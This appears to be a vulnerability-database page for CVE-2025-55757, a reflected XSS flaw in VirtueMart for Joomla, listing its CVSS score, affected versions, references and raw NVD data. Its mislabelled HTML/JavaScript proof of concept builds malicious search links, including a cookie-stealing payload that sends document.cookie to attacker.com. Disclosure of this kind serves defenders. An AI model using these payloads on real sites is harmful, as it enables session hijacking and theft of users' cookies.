CVE-2025-55757

Description

A unauthenticated reflected XSS vulnerability in VirtueMart 1.0.0-4.4.10 for Joomla was discovered.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

VirtueMart 1.0.0

VirtueMart 2.x

VirtueMart 3.x

VirtueMart 4.0.0-4.4.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-55757 PoC: Reflected XSS in VirtueMart -->
<!-- Replace TARGET_URL with the vulnerable VirtueMart installation URL -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-55757 PoC</title>
</head>
<body>
    <h1>CVE-2025-55757: VirtueMart Reflected XSS PoC</h1>
    <p>Click the link below to test the vulnerability:</p>
    
    <script>
        // Generate malicious URL
        const targetUrl = 'https://TARGET_URL/index.php?option=com_virtuemart';
        const maliciousParam = '<script>alert("XSS - CVE-2025-55757")</script>';
        const pocUrl = targetUrl + '&search=' + encodeURIComponent(maliciousParam) + '&view=product';
        
        document.write('<a href="' + pocUrl + '" target="_blank">Malicious Link</a><br>');
        document.write('<p>URL: ' + pocUrl + '</p>');
        
        // Cookie stealing payload (for demonstration)
        const cookieStealPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">';
        const fullPocUrl = targetUrl + '&search=' + encodeURIComponent(cookieStealPayload) + '&view=product';
        
        console.log('Full PoC URL for cookie stealing:');
        console.log(fullPocUrl);
    </script>
    
    <!-- Alternative PoC: Direct URL -->
    <!-- 
    https://TARGET_URL/index.php?option=com_virtuemart&search=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&view=product
    -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55757
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55757
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55757/
[4] VulDB https://vuldb.com/cve/CVE-2025-55757
[5] https://github.com/AdamWallwork/CVEs/tree/main/2025/CVE-2025-55757
[6] https://virtuemart.net/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-55757", "sourceIdentifier": "[email protected]", "published": "2025-10-25T19:15:47.737", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A unauthenticated reflected XSS vulnerability in VirtueMart 1.0.0-4.4.10 for Joomla was discovered."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/AdamWallwork/CVEs/tree/main/2025/CVE-2025-55757", "source": "[email protected]"}, {"url": "https://virtuemart.net/", "source": "[email protected]"}]}}